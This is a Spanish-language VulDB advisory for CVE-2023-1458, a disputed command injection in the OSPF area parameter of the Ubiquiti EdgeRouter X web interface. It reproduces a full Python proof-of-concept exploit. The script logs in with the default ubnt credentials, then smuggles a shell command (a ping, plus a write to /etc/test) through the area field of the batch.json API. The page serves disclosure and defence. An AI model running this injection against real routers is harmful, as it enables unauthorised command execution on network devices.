Ubiquiti EdgeRouter X 2.0.9-hotfix.6 OSPF area escalada de privilegios ⚔ [Disputado]

CVSS Puntuación meta temporalPrecio actual del exploit (≈)Puntuación de interés CTI
7.8$0-$5k0.00

Resumeninformación

Se ha encontrado una vulnerabilidad clasificada como crítica en Ubiquiti EdgeRouter X 2.0.9-hotfix.6. Resulta afectada una función desconocida dentro del componente OSPF Handler. Por la manipulación del parámetro area de un input desconocido se causa una vulnerabilidad de clase escalada de privilegios. Esta vulnerabilidad se cataloga como CVE-2023-1458. El ataque se puede hacer desde la red. Además, hay un exploit disponible. Actualmente, todavía se duda de la existencia real de esta vulnerabilidad.

Detallesinformación

Una vulnerabilidad fue encontrada en Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System) y clasificada como crítica. Una función desconocida del componente OSPF Handler es afectada por esta vulnerabilidad. Mediante la manipulación del parámetro area de un input desconocido se causa una vulnerabilidad de clase escalada de privilegios. Los efectos exactos de un ataque exitoso no son conocidos.

La vulnerabilidad fue publicada el 2023-03-17 (no está definido). La vulnerabilidad es identificada como CVE-2023-1458. Los detalles técnicos asi como un exploit público son conocidos.

El exploit puede ser descargado de vuldb.com. Fue declarado como prueba de concepto. Por el momento no está confirmada la existencia de esta vunerabilidad. El código utilizado por el exploit es:

import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
inject_cmd += ';echo test>/etc/test'


phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Content-Length': '27', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 
  'Upgrade-Insecure-Requests': '1', 
  'Sec-Fetch-Dest': 'document', 
  'Sec-Fetch-Mode': 'navigate', 
  'Sec-Fetch-Site': 'same-origin', 
  'Sec-Fetch-User': '?1'
  }
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)

loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.post(url=login_url,headers=header,data=login_body,\
      timeout=5,verify=False,allow_redirects=False)
    if r is None or 'Set-Cookie' not in r.headers.keys():
      print("Login failed.")
      time.sleep((3-loop)*3)
    else:
      break
  except Exception as e:
    print('Login error:{}'.format(e))

if r is None:
  print('Failed login,please check and retry!')
  exit(1)

tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
  if 'PHPSESSID' == k:
    phpsessid = '{}'.format(v)
  elif 'X-CSRF-TOKEN' == k:
    csrftoken = '{}'.format(v)
  elif 'beaker.session.id' == k:
    sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) 

param = {'SET': {'protocols': {'ospf': 
  {'area': '__FORCE_ASSOC;{};'.format(inject_cmd)}}}, 'GET': {'protocols': {'ospf': None}}}

victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'application/json, text/javascript, */*; q=0.01', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/json', 
  'X-CSRF-TOKEN': '{}'.format(csrftoken), 
  'X-Requested-With': 'XMLHttpRequest', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 
  'Sec-Fetch-Dest': 'empty', 
  'Sec-Fetch-Mode': 'cors', 
  'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
  timeout=5,verify=False,allow_redirects=False)
print(r.status_code)

No hay información respecto a posibles contramedidas. Se sugiere sustituir el producto con un equivalente.

La vulnerabilidad también está documentado en la base de datos EUVD (EUVD-2023-23707). Be aware that VulDB is the high quality source for vulnerability data.

Productoinformación

Escribe

Proveedor

Nombre

Versión

Licencia

CPE 2.3información

CPE 2.2información

CVSSv4información

VulDB Vector: 🔍
VulDB Confiabilidad: 🔍

CVSSv3información

VulDB Puntuación meta base: 8.1
VulDB Puntuación meta temporal: 7.8

VulDB Puntuación base: 7.2
VulDB Puntuación temporal: 6.5
VulDB Vector: 🔍
VulDB Confiabilidad: 🔍

NVD Puntuación base: 9.8
NVD Vector: 🔍

CNA Puntuación base: 7.2
CNA Vector (VulDB): 🔍

CVSSv2información

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplejidadAutenticaciónConfidencialidadIntegridadDisponibilidad
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear

VulDB Puntuación base: 🔍
VulDB Puntuación temporal: 🔍
VulDB Confiabilidad: 🔍

NVD Puntuación base: 🔍

Explotacióninformación

Clase: Escalada de privilegios
CWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Físico: No
Local: No
Remoto: Sí

Disponibilidad: 🔍
Acceso: Público
Estado: Prueba de concepto
Descargar: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Predicción de precios: 🔍
Estimación del precio actual: 🔍

0-DayDesbloquearDesbloquearDesbloquearDesbloquear
HoyDesbloquearDesbloquearDesbloquearDesbloquear

Inteligencia de amenazasinformación

Interés: 🔍
Actores activos: 🔍
Grupos APT activos: 🔍

Contramedidasinformación

Recomendación: no contramedida conocida
Estado: 🔍

Hora de 0 días: 🔍

Línea de tiempoinformación

2023-03-17 🔍
2023-03-17 +0 días 🔍
2023-03-17 +0 días 🔍
2025-08-11 +878 días 🔍

Fuentesinformación

Estado: No está definido
Disputado: 🔍

CVE: CVE-2023-1458 (🔍)
GCVE (CVE): GCVE-0-2023-1458
GCVE (VulDB): GCVE-100-223303
EUVD: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013

Artículoinformación

Fecha de creación: 2023-03-17 08:38
Actualizado: 2025-08-11 07:30
Cambios: 2023-03-17 08:38 (40), 2023-03-17 08:40 (3), 2023-04-11 12:10 (2), 2023-04-11 12:18 (28), 2025-08-11 07:30 (16)
Completo: 🔍
Remitente: leetmoon
Cache ID: 216::103

Enviarinformación

Aceptado

  • Enviar #99980: Command injection at the web management interface of EdgeRouter-x(3) (por leetmoon)

Be aware that VulDB is the high quality source for vulnerability data.

Discusión

Sin comentarios aún. Idiomas: es + pt + en.

Por favor, inicie sesión para comentar.

Might our Artificial Intelligence support you?

Check our Alexa App!